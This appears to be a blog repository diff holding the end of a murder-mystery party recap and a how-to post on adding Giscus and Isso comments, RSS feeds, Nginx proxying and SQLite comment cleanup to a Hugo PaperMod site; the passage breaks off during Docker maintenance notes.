- **Fabiola** — Ambitious financial brain; growth-focused, clashes with tradition.
- **Antonio** — Fabiolas husband; trusted hitman with careless drinking and looser lips than he should have.
- **Michelangelo** — Massimos son; enforcer torn by guilt over his mothers murder.
- **Lorenzo** — Sophias son; quiet fixer who tidies messes, unflappable.
### Moretti notes
- **Benito** — Calculating, paranoid Boss; obsessed with securing the bloodline through his son.
- **Nicoletta** — Benitos wife; once a prostitute, now regal and cunning.
- **Sergio** — Only son; appointed underboss young. All glitter, charm…and a crack in the armor: the **game**.
- **Enrico** — Benitos younger brother; accountant; clever, restless for influence.
- **Violetta** — The familys ice-cold fixer; keeps things “clean,” whatever it costs.
- **Claudia** — Benitos ex-wife; elegant, humiliated but dangerous in refined ways.
- **Lucia** — Daughter of Benito and Claudia; proud, protective, hungry for attention from the core family.
- **Santo** — Lucias son; bold, admired and doubted in equal measure.
Aside from these characters, there were two additional characters.
Falcon's priest, who had confessions from every Falcon family member, and a prostitute who had slept with many of the characters in the story, and had dirt on them!
> World sketch: the **Falcones** make problems *disappear* and launder fortunes behind bright lights and polished floors; the **Morettis** flaunt neon glamour while doing the real work in shadows.
---
After the introduction, I assumed the role of Sergio, heir to Benito and his apparent son, as the story unfolded.
All I knew was that on the night of the murder, I was not in Falcon's house, and that I was out in a casino with Aurora.
I didn't know how little I know about the story until the middle of the game, where everyone was starting to spill the beans! It was insane how clueless I was. LMAO
So, without further of do, let's dive riiiiiiiiiight in!!!! Weeeee haaaaa xD
### Act I, the dinner
We arrived at the family party, dressed in colorful dresses, as it was supposed to be the celebration of life.
Or that's what was written in our invitations.
The Falcons were in black, grieving a lost one, their beloved boss, Salvatore Falcone.
The clash was instant as they though we were disrespectful to wear such cloths.
As Sophia, the organizer of the dinner, started to give us scary looks, Violetta came at her with no chill.
She said, "I know what the purpose of this dinner is, you are accusing us of murder! But shall not heed. This is an insider job, a betrayal, and we will uncover it."
The Falcones were not happy with any of it. Massimo, Michelangelo, Lorenzo, Antonio, and Serena went back at her for how dares she!
They said Why would they take it so far to accuse them of accusing us of murder.
Violetta, our familys ice-cold fixer, replied, "it is clear from our invitations, they are all crossed out on purpose. You want us to look bad, or someone from within is doing it with that intention".
They went quiet. They were just as confused. Sophia invited us to sit down and eat in calm. We acknowledged and grabbed bites to eat. When all were happy and satisfied, we geared up for round two of discussions.
While the game continued, the dinner also stood out. Every dish was delicious, beautifully prepared, and truly made the evening special. I want to give props to the organizer (won't name here out of privacy). Thank you again for such an amazing event!
### Act II, the invitations
Sophia looked at us with her death smile and said, "I was involved with 9 invitations, the ones to our family, and nothing more."
The room went into a deep silence. What did she mean? Who made Moretti's invitations? Why were they crossed out? Why did it say it was a celebration of life, while it was a gathering of grief? Why did it ask Moretti's to wear colorful dresses, and not black like Falcones? Who was plotting this? Was this going to end in a bloodbath? Or will the families work it out?
The occasion was grim, but the outcome was immense. Either the two sworn families rip this thin bond once and for all, or they will come out as stronger allies, ruling the lands under their influence with no power to stop them.
Violetta then looked at Sophia with her dead eyes. Both families knew the fire was going to just grow stronger...
### Act III, the evidence
Violetta asked Sophia for pictures of the crime scene. Sophia signaled Michelangelo to deliver, and he did.
There were four pictures and a dissection report. Two of the pictures were from the bullet marks that had exited Salvatore's body from the other side. The third picture was of Salvatore's dead body, fallen on the ground in front of the set of stairs. The report stated two shots were fired, one to the head and one to the chest. Both exited the body and were fatal. The body was pushed down the stairs. According to the last picture and the dissection report, the two bullets had different calibers: a 9mm Luger and .243 WIN.
Massimo got up from his sit, pointing to an article about her wife's death. He stated how this was similar to her death, and how she died "The Moretti way". "She was shot and pushed down the stairs. What other evidence do you need?" said Massimo.
Benito replied calmly, "But Salvatore didn't die the Moretti way. We use one bullet, and push the victim down afterwards. We never miss.". "Salvatore was facing away from the stairs, according to the image, we never execute like that. We are not cowards.", said Sergio with a collected tone.
Massimo wasn't convinced, but he knew they were right. He just could not forgive her wife's death.
The room went into silence again.
Violetta presented additional evidence: a picture of Salvatore with a police officer at a bar, alongside bank statements from Fabiola's accounting showing F&E laundering money for Salvatore. No one knew what F&E stood for, but Enrico and Fabiola were suspected. They remained silent, drawing suspicion, and eventually explained that the families were linked at Enrico and Salvatore's level, using the Falcones' casinos to clean cocaine profits, benefitting both sides. It was unclear if Benito knew or simply would not discuss it.
In the picture, it can be seen that a note was being passed to Salvatore. It was hard to read, but it said: "Be careful".
Serena pointed to Antonio, and he took out a piece of paper of the family's weekly report. It was stated that Sergio and Aurora had been seen together multiple times. But why? Sergio does live a lavish lifestyle. He regularly goes to casinos, sometimes suspiciously wins large amounts, and sometimes loses a fortune. When confronted about this, he just said he enjoyed the company. But what business did the heir to Moretti's have with the youngest of the Falcones?
Lorenzo and Michelangelo pushed this matter further. They claimed Michelangelo was tasked to get dirt on them, and to envolve Antonio if needed. In the back of a picture taken of the two of them (Sergio and Aurora) in the casino, it was written that this is abnormal behaviour, and that they should be careful with Sergio. Antonio's report also stated the same, that they should be mindful of Sergio. Sergio only mentioned that he was not at Falcones' that night, and that he was in a casino with Aurora; no further explanation was provided by him.
Aurora didn't budge either.
Sergio changed the subject swiftly. He pointed to the gun used for the murder and said, "Doesn't that look like Santo's gun? Where were you that night, Santos?". "I was at home, with my mother", Santos replied, and Lucia nodded.
It felt like this conversation was going nowhere. Sophia asked the priest and the prostitute to speak up.
### Act IV, the confessions
The priest came into the room. He mentioned that Aurora had confessed to being in love with Serio. That Antonio had wittnessed he is cheating on Fabiola with Lorenzo, that Michelangelo was mad about finding out Fabiola was working with Morettis, and that Salvatore had know this for a long time. He mentioned how Salvatore had changed his will before his death from giving everything to his heir, Sophia, to whoever uncovers how he dies. He mentioned how Serena had heard "there was another heir to Salvatore's fortune", that she was paranoid now, that all the time he asked for an heir, he wanted a son, not a child.
The prostitute continued, "Benito ordered to kill her mistress before the child was born, but he didn't manage". She said how Sergio had told him after getting drunk that he did not like women, but used them to his advantage.
Claudia wasn't feeling well. She loved her daughter Lucia, but was she the mistress? Why did Benito leave her for Nicoletta? A former prostitute. Did he order them to kill her?
The prostitute then continued. "Sergio is not Benito's son". Violetta showed a piece of paper indicating that DNA results show he is indeed not Benito's son. Benito smiled. "Sergio is my son, even if not my blood. He slept with Aurora, this prostitute, Fabiola, and Sophia for our cause."
Sergio did not smile, or any changes in his face. He was ice-cold.
It was still not clear who plotted to kill Salvatore. Everyone was confused.
It was time for deduction.
### Act V, the killer(s)
After a long discussion between all the family members, these were the conclusions.
It was evident that Serena was in her part of the mansion, far from Falcone. A different house. Antonio was chilling at his house with Fabiola. Massimo claimed he was at his office, working on cleaning family from some cases. Aurora was with Sergio in a casino. Benito, Lucia, Santo, Claudia, Enrico, and Nicoletta were at Moretti's. That left Michelangelo, Lorenzo, and Violetta. No one knew what they were doing or where they were.
Initially, Michelangelo and Lorenzo claimed they were following Sergio and Aurora, but the evidence showed they were there only for a fraction of the night.
If everyone was telling the truth, one or two of Michelangelo, Lorenzo, and Violetta were the killers. From the confessions the priest provided, Michelangelo had the most valid motivation for this killing. He was not happy about the family's side business with the killer of her mother. He was not happy that Salvatore did not care. But there were two different guns used. Did Lorenzo really help take out the head of the family? But why?
Lorenzo had affairs with Antonio, and he knew Fabiola was working with Enrico to launder money. It was the perfect plan. The two of them would kill Salvatore, make it look like Fabiola and Enrico killed the head of the family by making it look like "The Moretti" way. Then Lorenzo gets to Antonio, and
Michelangelo would take his revenge. Sergio would also not get his hand on Salvatore's money, as with all ties broken, no one would suspect he was Salvatore's son. Nicoletta would also not talk, as she would lose everything if she confessed.
Although all evidence was against Lorenzo and Michelangelo, they did not confess. Violetta had to break it to them again. She said she was at Falcones on the night of the murder to get dirt on them. She said she was hiding in a closet, and that she saw everything. She said that she even has pictures and soundproof of all that happened. When asked why she didn't mention any of this earlier, she said she wanted to see how far they would go with this, and how much the lie, and what they had plotted. She also wanted to gather more information from whatever people said during these discussions. What a clever fixer! A true piece of treasure from Moretti's side.
It was over for Lorenzo and Michelangelo. Lorenzo burst into tears after all of this. He said that Sophia was not protecting the family as the underboss and heir. How could she lose her title if the fact about Sergio were known someday?
Sophia was just disappointed with all of this. She didn't budge.
### The epilogue
Most people weren't sharing what they knew not to become sus! I didn't talk to everyone, but for example, the person who played Santo's role said his card stated he was cleaning his 9mm pistol on the night of the murder. He never mentioned this. Though this would through suspicion on him, when Lucia and other members vouched that he was at home with them, we would not have been misled by some random fact that his pistol was missing, or that one of the murder weapons looked like his. I think there was a lot of information that people either mispresented or decided not to. This ruined the flow of the story. I'm not sure if Violetta had to say she was hiding in the closet or not, but it was really late, and I think we were not sure who the killers really were, since people weren't presenting everything they knew.
Overall, this was the most fun event I have ever attended from ZiS. Everything was perfect, and the organizer was amazing. I would say the person who organized this event is the best of the tutors! They had also organized a game night where we played many fun games online, which was my second most favorite event! Thank you so incredibly much once again for the event!
---
{{< sigdl >}}

View file

@ -0,0 +1,17 @@
-----BEGIN PGP SIGNATURE-----
iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfA0YHGltYW4uYWxp
cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qmMMP/jQAYhfTYlR434YgynP7WOjB
JGoHawhhtGWqCIjhpoems0F3PKwC6Amx+6ddHwNZbtOUHUQMS2WEqwTudApV+GSu
h50G8+C8PEyvSEPkkeXusSUTVR1S54j4Fdi1Up64TJoAoWpxX1pSz5Lm0mkjG1UJ
ztdRZqNEjyNKz9wziX9XBD5kt3Ejb1kJQ9fRuwdYfOYi//2iOgIwZmA+WHZoFi6N
SSwXP01MGqV5CnULFat5piTR0Wbz7lrNQyTFEcRXG+hFKsS6JP9e/8uDMHB7Y7pw
sUR/J4IOPNrZGivsIcKnDhtEB7bKEqUbth1osQLSgfS4HAJSKl7Z8IfRa1hwkr9q
80DQcDBnhT0a8xV5tlQreY2VAO7iBsw3yli6ZGqaRVbOpX3BqZ7Evo8iFSNo7YLz
uxzMy8jvgstG12C4Uy7/bxVIk47BWxQHmAufnd+6IbcANXelSPUzZB7zPLBquSBa
dLRnwukpSpoSvVnD0CxLPAKHMgZqWR5CQTksjbGF/7hZgfJBDACqeAQPBBczAWXH
L5ij+fzUAlzuloxtAnV5t1gpEbNCfB2olyBc7Ii3u0wHnYKwOMIzk5dx4q+U5XTQ
Y/klclFuNguXly/G4smOwCXvLTqlF2xgpR9jl8fMVEI7wum8k0skBNqV8KwTUONW
9fVBzCiojoS/ctK2bick
=HCVL
-----END PGP SIGNATURE-----

View file

@ -0,0 +1,759 @@
+++
title = "New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)"
description = "A friendly, copy-pasteable guide to wiring up Giscus comments (GitHub Discussions) and Isso comments + RSS in Hugo PaperMod."
date = 2025-10-23T19:31:12+02:00
draft = false
slug = "comments-rss-papermod"
ShowToc = true
TocOpen = true
tags = ["hugo", "papermod", "giscus", "rss", "comments"]
categories = ["blog", "meta"]
+++
> Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.
> Longer story: I spent 30 minutes poking around, and now you dont have to. Heres exactly what I did.
---
I've been wanting to add comment section to my blog for a while.
There are a few problems.
- I don't want to get attacked by bots or random people for no reason.
- I don't want to allow weird things to happen.
- I don't want to have a database for it.
So... I decided to take a path which is not necesserially the best.
It requires a third party to act on your behalf, but it is not as scary as it sounds.
According to Github:
> **What the app can do**
> The apps rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It cant touch a commenters private repos or do things outside those scopes. GitHubs docs also say a GitHub App can only do what both you and the app have permission to do.
> **What “Act on your behalf” means**
> That scary wording is GitHubs. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed.
> **Do commenters have alternatives?**
> Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the apps OAuth popup. The README explicitly mentions this.
> **Privacy & storage**
> No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings.
With the notice out of the way let's dive right in!
---
## Why I chose Giscus (instead of Disqus)
- **No ads or trackers** (my page weight thanks me).
- **Uses GitHub Discussions** (portable, transparent, easy to search).
- **Readers log in with GitHub** (no mystery auth popups).
- In theory you can directly go to the repo's discussion section and comment there!
---
## What you need (for your site, not per user)
- A Hugo site using **PaperMod**
- A GitHub account ✅
- A **public** repository for the discussion threads (I called mine `blog-comments`) with **Discussions** enabled ✅
- Giscus app installed on that repo ✅
If you like to keep your main site repo clean, use a separate one, e.g. `github-username/blog-comments`.
---
## 1) Turn on comments with Giscus
PaperMod renders a `comments.html` partial when `params.comments = true`.
So we enable it in config and create the partial.
### 1.1 Enable comments globally
`hugo.toml` (snippet)
```toml
[params]
comments = true
```
You can still opt out per post with `comments = false` in front matter.
### 1.2 Create the comments partial
Create this file **in your site** (not inside the theme):
```
layouts/partials/comments.html
```
Paste the Giscus embed (swap the placeholders with yours from giscus.app):
```html
<section id="comments" class="giscus">
<script
src="https://giscus.app/client.js"
data-repo="yourname/blog-comments"
data-repo-id="YOUR_REPO_ID"
data-category="Comments"
data-category-id="YOUR_CATEGORY_ID" <!-- Get them from Giscus's page! -->
data-mapping="pathname"
data-strict="0"
data-reactions-enabled="1"
data-emit-metadata="0"
data-input-position="bottom"
data-theme="preferred_color_scheme"
data-lang="en"
data-loading="lazy"
crossorigin="anonymous"
async>
</script>
<noscript>Enable JavaScript to view comments powered by Giscus.</noscript>
</section>
```
**Notes**
- Youll get `repo-id` and `category-id` from **giscus.app** after picking your repo + category.
- `data-mapping="pathname"` works great for static sites.
- Prefer a **public** repo so visitors can read discussions without friction.
- Want a different language? Change `data-lang` (e.g., `de`, `fr`).
---
## 2) Enable RSS (home + sections)
Hugo already knows how to generate feeds; we just tell it where.
`hugo.toml`
```toml
baseURL = "https://example.com/" # set your production URL
[outputs]
home = ["HTML", "RSS", "JSON"] # JSON is optional (e.g., for on-site search)
section = ["HTML", "RSS"]
taxonomy = ["HTML", "RSS"]
term = ["HTML", "RSS"]
[services.rss]
limit = -1 # -1 = no cap; or set e.g. 20
```
**Feed URLs**
- Home feed: `/index.xml``https://example.com/index.xml`
- Section feeds: `/posts/index.xml`, `/notes/index.xml`, etc. (folders are lowercase)
> If youre using a `.onion` address or staging domain, just set that in `baseURL`.
> Locally, Hugo serves feeds at `http://localhost:1313/index.xml`.
---
## 3) Show an RSS button on the home page
PaperMod shows a nice RSS icon on **section/taxonomy** lists by default (when enabled), but not on the home page. Two options:
### Option A — Use the home “social icons” row
This appears if you enable **Home-Info** or **Profile** mode:
```toml
[params.homeInfoParams]
Title = "Hello, internet!"
Content = "Notes, experiments, and occasional rabbit holes."
[[params.socialIcons]]
name = "rss" # lowercase matters
url = "/index.xml"
```
### Option B — Add an icon in the footer (theme-safe)
Create:
```
layouts/partials/extend_footer.html
```
Paste:
```html
<a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS" class="rss-link">
{{ partial "svg.html" (dict "name" "rss") }}
<span>RSS</span>
</a>
```
Make it a sensible size:
Create:
```
assets/css/extended/rss.css
```
Paste:
```css
/* Small & aligned RSS icon in the footer */
.rss-link { display: inline-flex; align-items: center; gap: .35rem; }
.rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* a bit of left margin for good measure!*/
.rss-link span { font-size: .95rem; }
```
PaperMod auto-bundles anything under `assets/css/extended/`, so no extra imports needed.
---
## 4) Verify everything
Build or run dev:
```bash
hugo # outputs to ./public
# or
hugo server # serves at http://localhost:1313
```
Check feeds:
```bash
# Home feed:
curl -s http://localhost:1313/index.xml | head
# A section feed (adjust path to your section name):
curl -s http://localhost:1313/posts/index.xml | head
```
Check comments:
1. Open any post locally.
2. Scroll to the bottom — Giscus should appear.
3. Try a reaction or comment (youll be prompted to sign in with GitHub).
---
## 5) Per-post controls (handy later)
Turn comments off for a single post:
```toml
# in that posts front matter
comments = false
```
Full content in RSS (global):
```toml
[params]
ShowFullTextinRSS = true
```
Show RSS buttons on section/taxonomy lists:
```toml
[params]
ShowRssButtonInSectionTermList = true
```
---
## 6) Troubleshooting (aka “what I bumped into”)
- **Home page has no RSS icon**
Thats expected; either enable Home-Info/Profile mode + `socialIcons`, or use the footer partial.
- **Section feed 404**
Folder names are lowercase (`content/posts/`, not `content/Posts/`).
The URL mirrors that: `/posts/index.xml`.
- **Giscus doesnt create a discussion**
Double-check the four attributes: `data-repo`, `data-repo-id`, `data-category`, `data-category-id`.
Make sure Discussions is enabled and the Giscus app is installed for the repo.
- **Icon is comically large**
Keep the CSS above; 1620px usually looks right.
---
## 7) Bonus: fast setup via GitHub CLI (optional, I didn't use it, but I should've perhaps)
```bash
# Create the public comments repo (adjust names)
gh repo create yourname/blog-comments --public -d "Blog comment threads" --confirm
# Enable Discussions for it
gh repo edit yourname/blog-comments --enable-discussions
```
Then visit **giscus.app**, select the repo + category (e.g. “Comments”), and copy the generated IDs into `layouts/partials/comments.html`.
---
### Final config snapshot (condensed)
```toml
baseURL = "https://example.com/"
theme = "PaperMod"
[outputs]
home = ["HTML", "RSS", "JSON"]
section = ["HTML", "RSS"]
taxonomy = ["HTML", "RSS"]
term = ["HTML", "RSS"]
[services.rss]
limit = -1
[params]
comments = true
ShowRssButtonInSectionTermList = true
ShowFullTextinRSS = true
# Optional if using Home-Info/Profile mode:
# [[params.socialIcons]]
# name = "rss"
# url = "/index.xml"
```
---
# Appendix — Why I added Isso, how I wired it, and what I fixed
## The story (why Isso + why I still keep Giscus)
I wanted comments that:
- allow **anonymous** replies (no GitHub account required),
- are **lightweight** and **self-hosted**, and
- can work on my **Tor `.onion` mirror**.
**Isso** checks those boxes: its a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of **Giscus** (comments are GitHub Discussions), so I kept both and added a little switcher UI: **“Anonymous (Isso)”** or **“GitHub (Giscus)”**.
Result: readers can pick privacy/anon (Isso) or identity/notifications (Giscus).
## How I run it (high-level)
- **Site:** Hugo + PaperMod
- **Isso:** listening on `127.0.0.1:8080`, stored locally (SQLite)
- **Nginx:** reverse-proxies **`/isso/`** to Isso on both the clearnet and the `.onion` vhost
- **Hugo partial:** renders the two panels (Isso & Giscus) and a switcher; Giscus is **lazy-loaded** and **auto-rethemed** with the site theme
> Im deliberately keeping Issos own config tiny in this appendix; the important part for my setup is the **Nginx proxying** and the **Hugo partial**.
## Hugo partial: switcher + embeds
Save as `layouts/partials/comments.html` and include it in your single layout (e.g. `layouts/_default/single.html`) with `{{ partial "comments.html" . }}`.
```html
<!-- comments.html -->
<div class="comments-switch" style="display:flex;gap:.5rem;margin:.5rem 0 1rem;">
<button id="btn-isso" type="button" aria-pressed="true">Anonymous (Isso)</button>
<button id="btn-giscus" type="button" aria-pressed="false">GitHub (Giscus)</button>
<a href="https://github.com/AlipourIm/blog-comments/discussions/categories/comments" target="_blank" rel="noopener">Open on GitHub ↗</a>
</div>
<!-- Isso panel (default) -->
<div id="panel-isso">
<section id="isso-thread"></section>
<script
src="/isso/js/embed.min.js"
data-isso="/isso"
data-isso-css="true"
data-isso-lang="en"
data-isso-max-comments-nested="5"
data-isso-sorting="newest"
async>
</script>
<small class="isso-powered" style="display:block;margin:.5rem 0;color:var(--secondary,#888)">
Comments powered by <a href="https://isso-comments.de" target="_blank" rel="noopener">Isso</a>
</small>
</div>
<!-- Giscus panel (lazy-loaded on click) -->
<div id="panel-giscus" style="display:none">
<section id="giscus-thread"></section>
</div>
<script>
(function () {
const panelIsso = document.getElementById('panel-isso');
const panelGisc = document.getElementById('panel-giscus');
const issoBtn = document.getElementById('btn-isso');
const giscBtn = document.getElementById('btn-giscus');
let gLoaded = false;
function isDark() {
// 1) explicit PaperMod preference
const pref = localStorage.getItem('pref-theme');
if (pref === 'dark') return true;
if (pref === 'light') return false;
// 2) page state (classes / data-theme)
const H = document.documentElement, B = document.body;
const hasDark =
H.classList.contains('dark') || B.classList.contains('dark') ||
H.dataset.theme === 'dark' || B.dataset.theme === 'dark' ||
H.classList.contains('theme-dark') || B.classList.contains('theme-dark');
if (hasDark) return true;
// 3) OS preference
return window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches;
}
const gTheme = () => (isDark() ? 'dark_dimmed' : 'noborder_light');
function loadGiscus() {
if (gLoaded) return;
const s = document.createElement('script');
s.src = 'https://giscus.app/client.js';
s.async = true;
s.crossOrigin = 'anonymous';
s.setAttribute('data-repo','AlipourIm/blog-comments');
s.setAttribute('data-repo-id','R_kgDOQGARyA');
s.setAttribute('data-category','Comments');
s.setAttribute('data-category-id','DIC_kwDOQGARyM4Cw3x-');
s.setAttribute('data-mapping','pathname');
s.setAttribute('data-strict','0');
s.setAttribute('data-reactions-enabled','1');
s.setAttribute('data-emit-metadata','0');
s.setAttribute('data-input-position','bottom');
s.setAttribute('data-lang','en');
s.setAttribute('data-theme', gTheme()); // initial theme
document.getElementById('giscus-thread').appendChild(s);
// Retheme once iframe exists
const reTheme = () => {
const iframe = document.querySelector('iframe.giscus-frame');
if (!iframe) return;
iframe.contentWindow?.postMessage(
{ giscus: { setConfig: { theme: gTheme() } } },
'https://giscus.app'
);
};
// PaperMod toggle button
document.getElementById('theme-toggle')?.addEventListener('click', () =>
setTimeout(reTheme, 0)
);
// Also react to attribute changes
const mo = new MutationObserver(reTheme);
mo.observe(document.documentElement, { attributes: true, attributeFilter: ['class','data-theme'] });
mo.observe(document.body, { attributes: true, attributeFilter: ['class','data-theme'] });
gLoaded = true;
}
function show(which) {
const showIsso = which === 'isso';
panelIsso.style.display = showIsso ? 'block' : 'none';
panelGisc.style.display = showIsso ? 'none' : 'block';
issoBtn?.setAttribute('aria-pressed', showIsso);
giscBtn?.setAttribute('aria-pressed', !showIsso);
if (!showIsso) loadGiscus();
}
issoBtn?.addEventListener('click', e => { e.preventDefault(); show('isso'); });
giscBtn?.addEventListener('click', e => { e.preventDefault(); show('giscus'); });
// default
show('isso');
})();
</script>
```
## Nginx: proxy Isso on **both** sites (and avoid the 404-onion trap)
The bug I hit: my `.onion` server had a regex static block that **won over** the plain `/isso/` location, so `/isso/js/embed.min.js` returned **404**.
**Fix:** make `/isso/` a `^~` prefix location so it beats regex, and place it **above** the static block.
```nginx
# /etc/nginx/sites-enabled/onion-blog (same idea for the clearnet vhost)
server {
listen 127.0.0.1:3301 default_server;
server_name fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion 127.0.0.1 localhost;
add_header Referrer-Policy no-referrer always;
add_header X-Content-Type-Options nosniff always;
add_header X-Frame-Options SAMEORIGIN always;
root /srv/hugo/mysite/public-onion;
index index.html;
location / { try_files $uri $uri/ /index.html; }
# /isso -> /isso/
location = /isso { return 301 /isso/; }
# IMPORTANT: this must beat regex locations below
location ^~ /isso/ {
proxy_pass http://127.0.0.1:8080/; # Isso container/port
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-Host $host;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_redirect off;
proxy_read_timeout 60s;
}
# static
location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
access_log off;
add_header Cache-Control "public, max-age=31536000, immutable";
try_files $uri =404;
}
}
```
Reload and smoke test:
```bash
sudo nginx -t && sudo systemctl reload nginx
curl -I http://<your-onion-host>/isso/js/embed.min.js # expect 200
```
> If you ever point `data-isso` to a **different origin**, add CORS headers on that vhost. For same-origin (`data-isso="/isso"`), you dont need CORS.
## Small CSS tweaks (one color across light/dark + spacing)
I wanted the same blue for **reply / edit / delete** links and for **Submit / Preview** buttons, in both themes, and a little spacing:
```css
/* put this in your site CSS */
:root { --btn-blue: #2563eb; } /* adjust to taste */
/* Isso form buttons */
.isso-post-action input[type="submit"],
.isso-post-action input[name="preview"] {
background: var(--btn-blue) !important;
color: #fff !important;
border: none;
padding: .5rem .75rem;
border-radius: .4rem;
cursor: pointer;
}
/* link actions under comments */
.isso-comment-footer a {
color: var(--btn-blue) !important;
margin-right: .5rem; /* gives "edit" and "delete" some breathing room */
text-decoration: none;
}
.isso-comment-footer a:hover { text-decoration: underline; }
/* keep name/email/website stacked, slightly larger */
.isso-auth-section .isso-input-wrapper {
display: block;
margin: .35rem 0;
}
.isso-auth-section label { font-size: .95rem; }
.isso-auth-section input[type="text"],
.isso-auth-section input[type="email"],
.isso-auth-section input[type="url"] {
width: 100%;
font-size: 1rem;
padding: .5rem .6rem;
}
```
## What changed (the fixes I actually made)
1. **Theme correctness for Giscus.**
PaperMod doesnt add `.light`—it only toggles `.dark` and stores `pref-theme`. I now:
- read `localStorage.pref-theme` first,
- fall back to class/data-theme, then
- fall back to OS preference.
I also re-theme the Giscus iframe on every toggle via `postMessage`.
2. **Isso over Tor.**
On the `.onion` vhost, I moved the proxy to a `^~ /isso/` block so it beats the static regex. That fixed the `404` on `/isso/js/embed.min.js`.
3. **UI polish.**
- Unified button/link color across themes,
- ensured “edit”/“delete” arent touching,
- kept the author/email/website inputs **stacked**, and
- left **Submit**/**Preview** styled and grouped.
## Sanity check
- Toggle the theme: Giscus switches between `noborder_light` and `dark_dimmed` without reload.
- Open DevTools → Network on onion: `/isso/js/embed.min.js` loads with **200**.
- Switcher buttons swap panels instantly; Giscus only loads when clicked.
## 8) Final notes!
I could not fully fix the style of Isso.
CSS is not easy... drat!
I don't think anyone actually reads the blog, let alone comment on it.
But it felt cool to have a comment section and also RSS for it.
I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I'm happy with it! ^^
# Admin note — Delete all **Isso** comments for a single post
This note is for future me: how to remove every comment tied to one post in **Isso**.
Tested with SQLite-backed Isso (default). Works whether you serve via clearnet or `.onion` — because this operates directly on the database.
---
## TL;DR (host with SQLite)
> Replace the placeholders for `DB` and `POST_URI` first.
```bash
# 0) Variables — edit these two lines for your setup
DB="/var/lib/isso/comments.db" # path to your Isso SQLite DB (check isso.conf: [general] dbpath)
POST_URI="/posts/skin_routine/" # the post's URI as stored by Isso (often just the path)
# 1) Backup (always do this!)
sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
# 2) Inspect: find the thread row and preview the comments
sqlite3 "$DB" "
.headers on
.mode column
SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
SELECT id, tid, created, author, text
FROM comments
WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%')
ORDER BY created DESC
LIMIT 25;
"
# 3) Delete all comments for that post (thread)
sqlite3 "$DB" "
DELETE FROM comments
WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');
"
# 4) (Optional) Remove the now-empty thread row too
sqlite3 "$DB" "
DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
VACUUM;
"
# 5) Done. Isso usually picks this up automatically.
# If you're containerized and want to be safe:
# docker restart <isso_container_name>
```
---
## If running Isso in Docker
Open a shell in the container, then run the same steps:
```bash
docker exec -it <isso_container_name> /bin/sh
# Inside the container:
DB="/db/comments.db" # or /data/comments.db, check your image/volume mapping
POST_URI="/posts/skin_routine/"
sqlite3 "$DB" ".backup '/db/comments.$(date +%F-%H%M%S).backup.sqlite3'"
sqlite3 "$DB" "SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';"
sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
exit
# Optionally restart the container:
docker restart <isso_container_name>
```
---
## Notes & gotchas
- **Find the real DB path**: In `isso.conf` (often `/etc/isso/isso.conf` or within your container at `/config/isso.conf`), look for:
```ini
[general]
dbpath = /var/lib/isso/comments.db
```
- **What goes in `POST_URI`?** Isso stores a `uri` string per thread. With the default embed config, it's usually the **path** (`/posts/<slug>/`). If youre unsure, list recent threads:
```bash
sqlite3 "$DB" ".headers on" ".mode column" "SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;"
```
- **Clearnet vs `.onion`**: If you load the same post under multiple origins _and_ your embed setup stores full origins, you may have **multiple thread rows**. The `LIKE` query above deliberately matches any uri containing your `POST_URI` to catch those.
- **Rollback**: To undo, stop Isso (optional), replace the DB with your backup (`comments.YYYY-MM-DD-HHMMSS.backup.sqlite3`), and start Isso again.
- **HTTP API option**: Isso supports `DELETE /<comment_id>` if admin endpoints/auth are enabled. For bulk removal its simpler and safer to use SQLite directly.
- **Safety**: Always run a backup first, and **preview with the SELECT** before you run the DELETE.
---
## One-liners for the impatient
```bash
DB="/var/lib/isso/comments.db"; POST_URI="/posts/skin_routine/"
sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
```
---
**Isso container: quick checks & fixes for future me! (thank past me later ^^)**
**Find the container**
```bash
docker ps -a --format 'table {{.ID}} {{.Names}} {{.Status}} {{.Ports}}' | grep -i isso
```
**Inspect basic state**
```bash
docker inspect -f 'Name={{.Name}} Running={{.State.Running}} Status={{.State.Status}} StartedAt={{.State.StartedAt}} FinishedAt={{.State.FinishedAt}}' isso
```
**Logs**
```bash
docker logs --tail=200 isso
docker logs -f isso
```
**Ports & reachability**
```bash
docker port isso
sudo ss -ltnp | grep ':8080 '
curl -i http://127.0.0.1:8080/
```
**Restart policy (keep it running)**
```bash
